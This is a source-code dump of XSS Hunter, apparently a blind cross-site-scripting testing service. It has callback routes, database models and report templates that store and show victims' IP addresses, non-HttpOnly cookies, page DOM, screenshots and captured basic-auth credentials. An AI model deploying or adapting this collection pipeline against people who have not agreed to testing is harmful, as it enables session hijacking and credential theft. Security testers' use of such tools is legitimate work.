) 617 | results = session.query( CollectedPage ).filter_by( owner_id = user.id ).order_by( CollectedPage.timestamp.desc() ).limit( limit ).offset( offset ) 618 | total = session.query( CollectedPage ).filter_by( owner_id = user.id ).count() 619 | 620 | self.logit( "User is retrieving collected pages.") 621 | 622 | return_list = [] 623 | 624 | for result in results: 625 | return_list.append( result.to_dict() ) 626 | 627 | return_dict = { 628 | "results": return_list, 629 | "total": total, 630 | "success": True 631 | } 632 | self.write( json.dumps( return_dict ) ) 633 | 634 | class DeleteCollectedPageHandler(BaseHandler): 635 | def delete( self ): 636 | delete_data = json.loads(self.request.body) 637 | 638 | if not self.validate_input( ["id"], delete_data ): 639 | return 640 | 641 | collected_page_db_record = session.query( CollectedPage ).filter_by( id=str( delete_data.get( "id" ) ) ).first() 642 | user = self.get_authenticated_user() 643 | 644 | if collected_page_db_record.owner_id != user.id: 645 | self.logit( "Just tried to delete a collected page that wasn't theirs! (ID:" + delete_data["id"] + ")", "warn") 646 | self.error( "Fuck off <3" ) 647 | return 648 | 649 | self.logit( "User is deleting collected page with the URI of " + collected_page_db_record.uri ) 650 | collected_page_db_record = session.query( CollectedPage ).filter_by( id=str( delete_data.get( "id" ) ) ).delete() 651 | session.commit() 652 | 653 | self.write({ 654 | "success": True, 655 | "message": "Collected page deleted!", 656 | }) 657 | 658 | def make_app(): 659 | return tornado.web.Application([ 660 | (r"/api/register", RegisterHandler), 661 | (r"/api/login", LoginHandler), 662 | (r"/api/collected_pages", GetCollectedPagesHandler), 663 | (r"/api/delete_injection", DeleteInjectionHandler), 664 | (r"/api/delete_collected_page", DeleteCollectedPageHandler), 665 | (r"/api/user", UserInformationHandler), 666 | (r"/api/payloadfires", GetXSSPayloadFiresHandler), 667 | (r"/api/contactus", ContactUsHandler), 668 | (r"/api/resend_injection_email", ResendInjectionEmailHandler), 669 | (r"/api/logout", LogoutHandler), 670 | (r"/js_callback", CallbackHandler), 671 | (r"/page_callback", CollectPageHandler), 672 | (r"/health", HealthHandler), 673 | (r"/uploads/(.*)", tornado.web.StaticFileHandler, {"path": "uploads/"}), 674 | (r"/api/record_injection", InjectionRequestHandler), 675 | (r"/(.*)", HomepageHandler), 676 | ], cookie_secret=settings["cookie_secret"]) 677 | 678 | if __name__ == "__main__": 679 | args = sys.argv 680 | args.append("--log_file_prefix=logs/access.log") 681 | tornado.options.parse_command_line(args) 682 | Base.metadata.create_all(engine) 683 | app = make_app() 684 | app.listen( 8888 ) 685 | tornado.ioloop.IOLoop.current().start() 686 | -------------------------------------------------------------------------------- /api/logs/blank: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/api/logs/blank -------------------------------------------------------------------------------- /api/models/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/api/models/__init__.py -------------------------------------------------------------------------------- /api/models/collected_page.py: -------------------------------------------------------------------------------- 1 | from initiate_database import * 2 | import binascii 3 | import bcrypt 4 | import os 5 | 6 | class CollectedPage(Base): 7 | __tablename__ = 'collected_pages' 8 | 9 | id = Column(String(100), primary_key=True) 10 | uri = Column(Text()) 11 | page_html = Column(Text()) 12 | owner_id = Column(String(100)) 13 | timestamp = Column(Integer()) 14 | 15 | def __init__( self ): 16 | self.generate_injection_id() 17 | 18 | def generate_injection_id( self ): 19 | self.id = binascii.hexlify(os.urandom(50)) 20 | 21 | def to_dict( self ): 22 | exposed_attributes = [ "uri", "id", "page_html", "timestamp" ] 23 | return_dict = {} 24 | 25 | for attribute in exposed_attributes: 26 | return_dict[ attribute ] = getattr( self, attribute ) 27 | 28 | return return_dict 29 | 30 | def __str__( self ): 31 | return self.id 32 | -------------------------------------------------------------------------------- /api/models/initiate_database.py: -------------------------------------------------------------------------------- 1 | import yaml 2 | try: 3 | with open( '../config.yaml', 'r' ) as f: 4 | settings = yaml.safe_load( f ) 5 | except IOError: 6 | print "INITIATEDB: Error reading config.yaml, have you created one? (Hint: Try running ./generate_config.py)" 7 | exit() 8 | 9 | from sqlalchemy import create_engine 10 | engine = create_engine('postgresql://' + settings["postgreql_username"] + ':' + settings["postgreql_password"] + '@localhost/' + settings["postgres_db"] + '?client_encoding=utf8', pool_recycle=60, encoding='utf8') 11 | from sqlalchemy.ext.declarative import declarative_base 12 | Base = declarative_base() 13 | from sqlalchemy import Column, Integer, String, func, update, Text, Binary, Boolean, BigInteger, event, select, exc 14 | from sqlalchemy.orm import sessionmaker, scoped_session 15 | Session = scoped_session(sessionmaker(bind=engine)) 16 | session = Session() 17 | -------------------------------------------------------------------------------- /api/models/injection_record.py: -------------------------------------------------------------------------------- 1 | from initiate_database import * 2 | import binascii 3 | import bcrypt 4 | import os 5 | 6 | class Injection(Base): 7 | __tablename__ = 'injections' 8 | 9 | id = Column(String(100), primary_key=True) 10 | type = Column(String(100)) # JavaScript/Image 11 | injection_timestamp = Column(Integer()) 12 | vulnerable_page = Column(String(3000)) 13 | victim_ip = Column(String(100)) 14 | referer = Column(String(3000)) 15 | user_agent = Column(String(3000)) 16 | cookies = Column(String(5000)) 17 | dom = Column(Text()) 18 | origin = Column(String(300)) 19 | screenshot = Column(String(300)) 20 | owner_id = Column(String(100)) 21 | browser_time = Column(BigInteger()) 22 | correlated_request = Column(Text()) 23 | 24 | def generate_injection_id( self ): 25 | self.id = binascii.hexlify(os.urandom(50)) 26 | 27 | def get_injection_blob( self ): 28 | exposed_attributes = [ "id", "vulnerable_page", "victim_ip", "referer", "user_agent", "cookies", "dom", "origin", "screenshot", "injection_timestamp", "correlated_request", "browser_time" ] 29 | return_dict = {} 30 | 31 | for attribute in exposed_attributes: 32 | return_dict[ attribute ] = getattr( self, attribute ) 33 | 34 | return return_dict 35 | 36 | def __str__( self ): 37 | return self.vulnerable_page 38 | -------------------------------------------------------------------------------- /api/models/request_record.py: -------------------------------------------------------------------------------- 1 | from initiate_database import * 2 | import binascii 3 | import bcrypt 4 | import time 5 | import os 6 | 7 | class InjectionRequest(Base): 8 | __tablename__ = 'injection_requests' 9 | 10 | id = Column(String(100), primary_key=True) 11 | request = Column(Text()) 12 | injection_key = Column(String(100)) 13 | owner_correlation_key = Column(String(100)) 14 | timestamp = Column(Integer()) 15 | 16 | def __init__( self ): 17 | self.generate_injection_id() 18 | self.timestamp = int( time.time() ) 19 | 20 | def generate_injection_id( self ): 21 | self.id = binascii.hexlify(os.urandom(50)) 22 | 23 | def get_injection_blob( self ): 24 | exposed_attributes = [ "request", "injection_key" ] 25 | return_dict = {} 26 | 27 | for attribute in exposed_attributes: 28 | return_dict[ attribute ] = getattr( self, attribute ) 29 | 30 | return return_dict 31 | 32 | def __str__( self ): 33 | return self.id 34 | -------------------------------------------------------------------------------- /api/models/user.py: -------------------------------------------------------------------------------- 1 | from initiate_database import * 2 | from urlparse import urlparse 3 | import binascii 4 | import bcrypt 5 | import os 6 | import re 7 | 8 | class User(Base): 9 | __tablename__ = 'users' 10 | 11 | id = Column(String(100), primary_key=True) 12 | full_name = Column(String(120)) 13 | username = Column(String(80)) 14 | password = Column(String(120)) 15 | email = Column(String(120)) 16 | domain = Column(String(120)) 17 | pgp_key = Column(Text()) 18 | password_reset_token = Column(String(120)) 19 | is_premium = Column(Boolean()) 20 | email_enabled = Column(Boolean()) 21 | chainload_uri = Column(Text()) 22 | owner_correlation_key = Column(String(100)) 23 | page_collection_paths_list = Column(Text()) # Done this way to allow users to just paste and share relative page lists 24 | 25 | def __init__( self ): 26 | self.generate_user_id() 27 | self.generate_owner_correlation_key() 28 | 29 | def set_fullname( self, in_fullname ): 30 | self.full_name = str( in_fullname ).strip() 31 | return True 32 | 33 | def set_username( self, in_username ): 34 | self.username = str( in_username ).strip() 35 | return True 36 | 37 | def set_password( self, in_password ): 38 | self.password = self._get_bcrypt_hash( in_password ) 39 | return True 40 | 41 | def set_pgp_key( self, in_pgp_key ): 42 | self.pgp_key = str( in_pgp_key ).strip() 43 | return True 44 | 45 | def set_email( self, in_email ): 46 | in_email = str( in_email ).strip() 47 | if bool( re.search( r"^[A-Za-z0-9\.\+_-]+@[A-Za-z0-9\._-]+\.[a-zA-Z]*$", in_email, flags=0 ) ): 48 | self.email = in_email 49 | return True 50 | return False 51 | 52 | def set_domain( self, set_domain ): 53 | if self.domain == set_domain: 54 | return True 55 | 56 | if not bool( re.search( r"^[A-Za-z0-9]+$", set_domain, flags=0 ) ): 57 | return False 58 | 59 | set_domain = str( set_domain ).strip() 60 | domain_exists = session.query( User ).filter_by( domain=set_domain ).first() 61 | 62 | if domain_exists == None: 63 | self.domain = set_domain 64 | return True 65 | return False 66 | 67 | def set_email_enabled( self, in_email_enabled ): 68 | self.email_enabled = in_email_enabled 69 | return True 70 | 71 | def set_chainload_uri( self, in_chainload_uri ): 72 | parsed_url = urlparse( in_chainload_uri ) 73 | if bool( parsed_url.scheme ) or in_chainload_uri == "": 74 | self.chainload_uri = in_chainload_uri 75 | return True 76 | return False 77 | 78 | def set_page_collection_paths_list( self, in_paths_list_text ): 79 | self.page_collection_paths_list = in_paths_list_text.strip() 80 | return True 81 | 82 | def set_attribute( self, attribute, value ): 83 | if attribute == "password": 84 | return self.set_password( value ) 85 | if attribute == "full_name": 86 | return self.set_fullname( value ) 87 | if attribute == "username": 88 | return self.set_username( value ) 89 | if attribute == "email": 90 | return self.set_email( value ) 91 | if attribute == "domain": 92 | return self.set_domain( value ) 93 | if attribute == "pgp_key": 94 | return self.set_pgp_key( value ) 95 | if attribute == "email_enabled": 96 | return self.set_email_enabled( value ) 97 | if attribute == "chainload_uri": 98 | return self.set_chainload_uri( value ) 99 | if attribute == "page_collection_paths_list": 100 | return self.set_page_collection_paths_list( value ) 101 | 102 | def get_page_collection_path_list( self ): 103 | if self.page_collection_paths_list == None: 104 | return [] 105 | 106 | tmp_pages_list = self.page_collection_paths_list.split( "\n" ) 107 | page_list = [] 108 | 109 | for page in tmp_pages_list: 110 | page = page.strip() 111 | if page != "": 112 | page_list.append( page ) 113 | 114 | return page_list 115 | 116 | def get_user_blob( self ): 117 | exposed_attributes = [ "full_name", "email", "username", "pgp_key", "domain", "email_enabled", "chainload_uri", "owner_correlation_key", "page_collection_paths_list" ] 118 | return_dict = {} 119 | 120 | for attribute in exposed_attributes: 121 | return_dict[ attribute ] = getattr( self, attribute ) 122 | 123 | return return_dict 124 | 125 | def generate_user_id( self ): 126 | self.id = binascii.hexlify(os.urandom(50)) 127 | 128 | def generate_password_reset_key( self ): 129 | self.password_reset_token = binascii.hexlify(os.urandom(60)) 130 | 131 | def generate_owner_correlation_key( self ): 132 | self.owner_correlation_key = binascii.hexlify(os.urandom(50)) 133 | 134 | def compare_password( self, in_password ): 135 | return ( bcrypt.hashpw( str( in_password.encode( 'utf-8' ) ), str( self.password.encode( 'utf-8' ) ) ) == self.password ) 136 | 137 | def update( self ): 138 | session.commit() 139 | 140 | def _get_bcrypt_hash( self, input_string ): 141 | return bcrypt.hashpw( str( input_string ), bcrypt.gensalt( 10 ) ) 142 | 143 | def __str__(self): 144 | return self.username + " - ( " + self.full_name + " )" 145 | -------------------------------------------------------------------------------- /api/requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML==3.11 2 | SQLAlchemy==1.0.13 3 | Unirest==1.1.7 4 | argparse==1.2.1 5 | backports-abc==0.4 6 | backports.ssl-match-hostname==3.5.0.1 7 | bcrypt==2.0.0 8 | certifi==2016.2.28 9 | cffi==1.6.0 10 | dnspython==1.14.0 11 | poster==0.8.1 12 | psycopg2==2.6.1 13 | pycparser==2.14 14 | singledispatch==3.4.0.3 15 | six==1.10.0 16 | tornado==4.3 17 | wsgiref==0.1.2 18 | -------------------------------------------------------------------------------- /api/templates/full_report_inline_view.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |
5 |

Vulnerable Page URL

6 |
7 |
8 | 9 |
10 |
11 | 12 |
13 |
14 |

User IP Address

15 |
16 |
17 | 18 |
19 |
20 | 21 |
22 |
23 |

Referer

24 |
25 |
26 | 27 |
28 |
29 | 30 |
31 |
32 |

User Agent

33 |
34 |
35 | 36 |
37 |
38 | 39 |
40 |
41 |

Cookies

42 |
43 |
44 | 45 |
46 |
47 | 48 | 49 |
50 |
51 |

Injection Point (Raw HTTP Request)

52 |
53 |
54 | 55 |
56 |
57 | 58 | 59 |
60 |
61 |

DOM

62 |
63 |
64 | 65 |
66 |
67 | 68 | 69 |
70 |
71 |

Execution Origin

72 |
73 |
74 | 75 |
76 |
77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /api/templates/image_401_load_template.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |

XSS Hunter Report

10 | This report has been generated by an XSS Hunter server and contains the details of an authenticated image load which could indicate the existance of a cross-site scripting vulnerability (or content spoofing). 11 | 12 |
13 |
14 |
15 |

User IP Address

16 |
17 |
18 | {{ callback_data['ip'] }} 19 |
20 |
21 | 22 |
23 |
24 |

Credentials

25 |
26 |
27 | Username: {{ callback_data['basic_username'] }}
28 | Password: {{ callback_data['basic_password'] }}
29 |
30 |
31 | 32 |
33 |
34 |

Referer

35 |
36 |
37 | {{ callback_data['referrer'] }} 38 |
39 |
40 | 41 |
42 |
43 |

User-Agent

44 |
45 |
46 | {{ callback_data['user-agent'] }} 47 |
48 |
49 |
50 | 51 | 52 | -------------------------------------------------------------------------------- /api/templates/image_load_template.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |

XSS Hunter Report

10 | This report has been generated by a XSS Hunter server and contains the details of a image load which could indicate the existance of a cross-site scripting vulnerability (or content spoofing). 11 | 12 |
13 |
14 |
15 |

User IP Address

16 |
17 |
18 | {{ callback_data['ip'] }} 19 |
20 |
21 | 22 |
23 |
24 |

Referer

25 |
26 |
27 | {{ callback_data['referrer'] }} 28 |
29 |
30 | 31 |
32 |
33 |

User-Agent

34 |
35 |
36 | {{ callback_data['user-agent'] }} 37 |
38 |
39 |
40 | 41 | 42 | -------------------------------------------------------------------------------- /api/templates/markdown_template.md: -------------------------------------------------------------------------------- 1 | # XSSHunter Report 2 | 3 | The page located at `{{vulnerable_page}}` suffers from a Cross-site Scripting (XSS) vulnerability. XSS is a vulnerability which occurs when user input is unsafely encorporated into the HTML markup inside of a webpage. When not properly escaped an attacker can inject malicious JavaScript that, once evaluated, can be used to hijack authenticated sessions and rewrite the vulnerable page's layout and functionality. The following report contains information on an XSS payload that has fired on `{{origin}}`, it can be used to reproduce and remediate the vulnerability. 4 | 5 | ### XSS Payload Fire Details 6 | ##### Vulnerable Page 7 | `{{vulnerable_page}}` 8 | 9 | ##### Victim IP Address 10 | `{{victim_ip}}` 11 | 12 | ##### Referer 13 | `{{referer}}` 14 | 15 | ##### User Agent 16 | `{{user_agent}}` 17 | 18 | ##### Cookies (Non-HTTPOnly) 19 | `{{cookies}}` 20 | 21 | ##### Document Object Model 22 | `{{dom}}` 23 | 24 | ##### Origin 25 | `{{origin}}` 26 | 27 | ##### HTML5 Canvas-Rendered Screenshot 28 | ![XSS Screenshot](https://api.{{domain}}/{{screenshot}} "{{vulnerable_page}}") 29 | 30 | ##### Injection Timestamp 31 | `{{injection_timestamp}}` 32 | 33 | ## Remediation 34 | For more information about Cross-site Scripting and remediation of the issue, see the following resources: 35 | * [Cross-site Scripting (XSS) - OWASP](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) 36 | * [XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) 37 | * [What is Cross-site Scripting and How Can You Fix it?](https://www.acunetix.com/websitesecurity/cross-site-scripting/) 38 | * [An Introduction to Content Security Policy - HTML5 Rocks](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) 39 | * [Why is the same origin policy so important? - Information Security Stack Exchange](https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important) 40 | 41 | *This report was generated by an XSS Hunter server: https://github.com/mandatoryprogrammer/xsshunter* 42 | -------------------------------------------------------------------------------- /api/templates/pgp_encrypted_template.txt: -------------------------------------------------------------------------------- 1 | URL: 2 | {{uri}} 3 | 4 | ================================= 5 | Cookies: 6 | {{cookies}} 7 | 8 | ================================= 9 | Referrer: 10 | {{referrer}} 11 | 12 | ================================= 13 | User-Agent: 14 | {{user-agent}} 15 | 16 | ================================= 17 | Browser Time: 18 | {{browser-time}} 19 | 20 | ================================= 21 | Probe UUID: 22 | {{probe-uid}} 23 | 24 | ================================= 25 | Execution Origin: 26 | {{origin}} 27 | 28 | ================================= 29 | Injection Key: 30 | {{injection_key}} 31 | 32 | ================================= 33 | DOM: 34 | {{dom}} 35 | 36 | ================================= 37 | Screenshot (in data: URI format, paste into browser to view): 38 | {{screenshot}} 39 | -------------------------------------------------------------------------------- /api/templates/xss_email_template.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |

XSS Hunter Report

10 | This report has been generated by an XSS Hunter server and contains the details of a cross-site scripting vulnerability. The tracking ID for this report is {{ injection_data['id'] }}, the triggering browser reports the time of execution to be {{ injection_data['browser_time'] }}. 11 | 12 |
13 |
14 |
15 |

Vulnerable Page URL

16 |
17 |
18 | {{ injection_data['vulnerable_page'] }} 19 |
20 |
21 | 22 |
23 |
24 |

User IP Address

25 |
26 |
27 | {{ injection_data['victim_ip'] }} 28 |
29 |
30 | 31 |
32 |
33 |

Referer

34 |
35 |
36 | {{ injection_data['referer'] }} 37 |
38 |
39 | 40 |
41 |
42 |

User-Agent

43 |
44 |
45 | {{ injection_data['user_agent'] }} 46 |
47 |
48 | 49 |
50 |
51 |

Cookies

52 |
53 |
54 | {{ injection_data['cookies'] }} 55 |
56 |
57 | 58 |
59 |
60 |

Injection Point (Raw HTTP Request)

61 |
62 |
63 |
{{ injection_data['correlated_request'] }}
64 |
65 |
66 | 67 |
68 |
69 |

DOM

70 |
71 |
72 |
{{ injection_data['dom'] }}
73 |
74 |
75 | 76 |
77 |
78 |

Execution Origin

79 |
80 |
81 |
{{ injection_data['origin'] }}
82 |
83 |
84 | 85 |

A screenshot of the affected page has been included for further investigation.

86 |
87 | 88 | 89 | -------------------------------------------------------------------------------- /generate_config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import binascii 3 | import yaml 4 | import os 5 | 6 | nginx_template = """ 7 | server { 8 | # Redirect HTTP to www 9 | listen 80; 10 | server_name fakedomain.com; 11 | location / { 12 | rewrite ^/(.*)$ https://www.fakedomain.com/$1 permanent; 13 | } 14 | } 15 | 16 | server { 17 | # Redirect payloads to HTTPS 18 | listen 80; 19 | server_name *.fakedomain.com; 20 | proxy_set_header X-Forwarded-For $remote_addr; 21 | 22 | return 307 https://$host$request_uri; 23 | client_max_body_size 500M; # In case we have an extra large payload capture 24 | } 25 | 26 | server { 27 | # Redirect HTTPS to www 28 | listen 443; 29 | ssl on; 30 | ssl_certificate /etc/nginx/ssl/fakedomain.com.crt; # Wildcard SSL certificate 31 | ssl_certificate_key /etc/nginx/ssl/fakedomain.com.key; # Wildcard SSL certificate key 32 | 33 | server_name fakedomain.com; 34 | location / { 35 | rewrite ^/(.*)$ https://www.fakedomain.com/$1 permanent; 36 | } 37 | } 38 | 39 | server { 40 | # API proxy 41 | listen 443; 42 | ssl on; 43 | ssl_certificate /etc/nginx/ssl/fakedomain.com.crt; # Wildcard SSL certificate 44 | ssl_certificate_key /etc/nginx/ssl/fakedomain.com.key; # Wildcard SSL certificate key 45 | 46 | server_name *.fakedomain.com; 47 | access_log /var/log/nginx/fakedomain.com.vhost.access.log; 48 | error_log /var/log/nginx/fakedomain.com.vhost.error.log; 49 | 50 | client_max_body_size 500M; 51 | 52 | location / { 53 | proxy_pass http://localhost:8888; 54 | proxy_set_header Host $host; 55 | proxy_set_header X-Forwarded-For $remote_addr; 56 | } 57 | } 58 | 59 | server { 60 | # Redirect api to HTTPS 61 | listen 80; 62 | server_name api.fakedomain.com; # Subdomain for API server 63 | proxy_set_header X-Forwarded-For $remote_addr; 64 | 65 | return 307 https://api.fakedomain.com$request_uri; 66 | client_max_body_size 500M; # In case we have an extra large payload capture 67 | } 68 | 69 | server { 70 | # Redirect www to HTTPS 71 | listen 80; 72 | server_name www.fakedomain.com; 73 | location / { 74 | rewrite ^/(.*)$ https://www.fakedomain.com/$1 permanent; 75 | } 76 | } 77 | 78 | server { 79 | # GUI proxy 80 | listen 443; 81 | server_name www.fakedomain.com; 82 | client_max_body_size 500M; 83 | ssl on; 84 | ssl_certificate /etc/nginx/ssl/fakedomain.com.crt; # Wildcard SSL certificate 85 | ssl_certificate_key /etc/nginx/ssl/fakedomain.com.key; # Wildcard SSL certificate key 86 | 87 | 88 | location / { 89 | proxy_pass http://localhost:1234; 90 | proxy_set_header Host $host; 91 | } 92 | } 93 | """ 94 | 95 | settings = { 96 | "email_from":"", 97 | "mailgun_api_key":"", 98 | "mailgun_sending_domain":"", 99 | "domain": "", 100 | "abuse_email": "", 101 | "cookie_secret": "", 102 | } 103 | 104 | print """ 105 | __ __ _____ _____ _ _ _ 106 | \ \ / // ____/ ____| | | | | | | 107 | \ V /| (___| (___ | |__| |_ _ _ __ | |_ ___ _ __ 108 | > < \___ \\\\___ \ | __ | | | | '_ \| __/ _ \ '__| 109 | / . \ ____) |___) | | | | | |_| | | | | || __/ | 110 | /_/ \_\_____/_____/ |_| |_|\__,_|_| |_|\__\___|_| 111 | 112 | 113 | Setup Utility 114 | """ 115 | 116 | print "What is the base domain name you will be using? " 117 | print "(ex. localhost, www.example.com)" 118 | hostname = raw_input( "Domain? ") 119 | if hostname != "": 120 | settings["domain"] = hostname 121 | nginx_template = nginx_template.replace( "fakedomain.com", settings["domain"] ) 122 | 123 | print "Great! Now let's setup your Mailgun account to send XSS alerts to." 124 | print "" 125 | print "Enter your API key: " 126 | print "(ex. key-8da843ff65205a61374b09b81ed0fa35)" 127 | settings["mailgun_api_key"] = raw_input( "Mailgun API key: ") 128 | print "" 129 | print "What is your Mailgun domain? " 130 | print "(ex. example.com)" 131 | settings["mailgun_sending_domain"] = raw_input( "Mailgun domain: ") 132 | print "" 133 | print "What email address is sending the payload fire emails?: " 134 | print "(ex. no-reply@example.com)" 135 | settings["email_from"] = raw_input( "Sending email address: ") 136 | print "" 137 | print "Where should abuse/contact emails go?: " 138 | print "(ex. yourpersonal@gmail.com)" 139 | settings["abuse_email"] = raw_input( "Abuse/Contact email: ") 140 | print "" 141 | print "" 142 | print "What postgres user is this service using? " 143 | print "(ex. xsshunter)" 144 | settings["postgreql_username"] = raw_input( "Postgres username: ") 145 | print "" 146 | print "What is the postgres user's password? " 147 | print "(ex. @!$%@^%UOFGJOEJG$)" 148 | settings["postgreql_password"] = raw_input( "Postgres password: ") 149 | print "" 150 | print "What is the postgres user's DB? " 151 | print "(ex. xsshunter)" 152 | settings["postgres_db"] = raw_input( "Postgres DB: ") 153 | print "" 154 | print "Generating cookie secret..." 155 | settings["cookie_secret"] = binascii.hexlify( os.urandom(50) ) 156 | 157 | yaml_config = yaml.dump( settings, default_flow_style=False) 158 | file_handler = open( "config.yaml", "w" ) 159 | file_handler.write( yaml_config ) 160 | file_handler.close() 161 | 162 | print "Minting new nginx configuration file..." 163 | file_handler = open( "default", "w" ) 164 | file_handler.write( nginx_template ) 165 | file_handler.close() 166 | 167 | print """ 168 | Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default 169 | This can be done by running the following: 170 | sudo cp default /etc/nginx/sites-enabled/default 171 | 172 | Also, please ensure your wildcard SSL certificate and key are available at the following locations: 173 | /etc/nginx/ssl/""" + hostname + """.crt; # Wildcard SSL certificate 174 | /etc/nginx/ssl/""" + hostname + """.key; # Wildcard SSL key 175 | 176 | Good luck hunting for XSS! 177 | -mandatory 178 | """ 179 | -------------------------------------------------------------------------------- /gui/guiserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import tornado.ioloop 3 | import tornado.web 4 | import tornado.template 5 | import dns.resolver 6 | import yaml 7 | 8 | try: 9 | with open( '../config.yaml', 'r' ) as f: 10 | settings = yaml.safe_load( f ) 11 | except IOError: 12 | print "Error reading config.yaml, have you created one? (Hint: Try running ./generate_config.py)" 13 | exit() 14 | 15 | class BaseHandler(tornado.web.RequestHandler): 16 | def __init__(self, *args, **kwargs): 17 | super(BaseHandler, self).__init__(*args, **kwargs) 18 | self.set_header("X-Frame-Options", "deny") 19 | self.set_header("X-XSS-Protection", "1; mode=block") 20 | self.set_header("X-Content-Type-Options", "nosniff") 21 | self.set_header("Server", "") 22 | self.set_header("Content-Security-Policy", "default-src 'self' " + DOMAIN + " api." + DOMAIN + "; style-src 'self' fonts.googleapis.com; img-src 'self' api." + DOMAIN + "; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'; frame-src 'self'") 23 | 24 | def compute_etag( self ): 25 | return None 26 | 27 | class XSSHunterApplicationHandler(BaseHandler): 28 | def get(self): 29 | loader = tornado.template.Loader( "templates/" ) 30 | self.write( loader.load( "mainapp.htm" ).generate( domain=DOMAIN ) ) 31 | 32 | class DebugOverrideStaticCaching(tornado.web.StaticFileHandler): 33 | def set_extra_headers(self, path): 34 | self.set_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0') 35 | 36 | class HomepageHandler(BaseHandler): 37 | def get(self): 38 | loader = tornado.template.Loader( "templates/" ) 39 | self.write( loader.load( "homepage.htm" ).generate() ) 40 | 41 | class FeaturesHandler(BaseHandler): 42 | def get(self): 43 | loader = tornado.template.Loader( "templates/" ) 44 | self.write( loader.load( "features.htm" ).generate( domain=DOMAIN ) ) 45 | 46 | class SignUpHandler(BaseHandler): 47 | def get(self): 48 | loader = tornado.template.Loader( "templates/" ) 49 | self.write( loader.load( "signup.htm" ).generate( domain=DOMAIN ) ) 50 | 51 | class ContactHandler(BaseHandler): 52 | def get(self): 53 | loader = tornado.template.Loader( "templates/" ) 54 | self.write( loader.load( "contact.htm" ).generate() ) 55 | 56 | def make_app(): 57 | return tornado.web.Application([ 58 | (r"/", HomepageHandler), 59 | (r"/app", XSSHunterApplicationHandler), 60 | (r"/features", FeaturesHandler), 61 | (r"/signup", SignUpHandler), 62 | (r"/contact", ContactHandler), 63 | (r"/static/(.*)", tornado.web.StaticFileHandler, {"path": "static/"}), 64 | ]) 65 | 66 | if __name__ == "__main__": 67 | DOMAIN = settings["domain"] 68 | API_SERVER = "https://api." + DOMAIN 69 | app = make_app() 70 | app.listen( 1234 ) 71 | tornado.ioloop.IOLoop.current().start() 72 | -------------------------------------------------------------------------------- /gui/requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML==3.11 2 | argparse==1.2.1 3 | backports-abc==0.4 4 | backports.ssl-match-hostname==3.5.0.1 5 | certifi==2016.2.28 6 | dnspython==1.14.0 7 | singledispatch==3.4.0.3 8 | six==1.10.0 9 | tornado==4.3 10 | wsgiref==0.1.2 11 | -------------------------------------------------------------------------------- /gui/static/angularicons/angularicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/angularicons/angularicons.eot -------------------------------------------------------------------------------- /gui/static/angularicons/angularicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/angularicons/angularicons.ttf -------------------------------------------------------------------------------- /gui/static/angularicons/angularicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/angularicons/angularicons.woff -------------------------------------------------------------------------------- /gui/static/css/aboutus.css: -------------------------------------------------------------------------------- 1 | .about_us_title { 2 | font-weight: bold; 3 | font-size: 36px; 4 | } 5 | 6 | .section_header { 7 | font-weight: bold; 8 | font-size: 24px; 9 | } 10 | 11 | .section_body_text { 12 | font-size: 20px; 13 | } 14 | -------------------------------------------------------------------------------- /gui/static/css/app.css: -------------------------------------------------------------------------------- 1 | input, textarea { 2 | margin-top: 5px; 3 | margin-bottom: 10px; 4 | display: inline-block; 5 | *display: inline; /* for IE7*/ 6 | zoom:1; /* for IE7*/ 7 | } 8 | 9 | label { 10 | display:inline-block; 11 | *display: inline; /* for IE7*/ 12 | zoom: 1; /* for IE7*/ 13 | float: left; 14 | text-align: right; 15 | } 16 | -------------------------------------------------------------------------------- /gui/static/css/contactus.css: -------------------------------------------------------------------------------- 1 | input, textarea { 2 | margin-top: 5px; 3 | margin-bottom: 10px; 4 | display: inline-block; 5 | *display: inline; /* for IE7*/ 6 | zoom:1; /* for IE7*/ 7 | } 8 | 9 | label { 10 | display:inline-block; 11 | *display: inline; /* for IE7*/ 12 | zoom: 1; /* for IE7*/ 13 | float: left; 14 | text-align: right; 15 | } 16 | 17 | #name { 18 | max-width: 300px; 19 | } 20 | 21 | #body{ 22 | max-width: 700px; 23 | max-height: 100px; 24 | } 25 | 26 | .contact-us-form { 27 | max-width: 700px; 28 | top: 0; 29 | bottom: 0; 30 | left: 0; 31 | right: 0; 32 | margin: auto; 33 | } 34 | 35 | .contact_us_form_success_message { 36 | display: none; 37 | text-align: center; 38 | } 39 | -------------------------------------------------------------------------------- /gui/static/css/cover.css: -------------------------------------------------------------------------------- 1 | /* 2 | * Globals 3 | */ 4 | 5 | /* Links */ 6 | a, 7 | a:focus, 8 | a:hover { 9 | color: #fff; 10 | } 11 | 12 | /* Custom default button */ 13 | .btn-default, 14 | .btn-default:hover, 15 | .btn-default:focus { 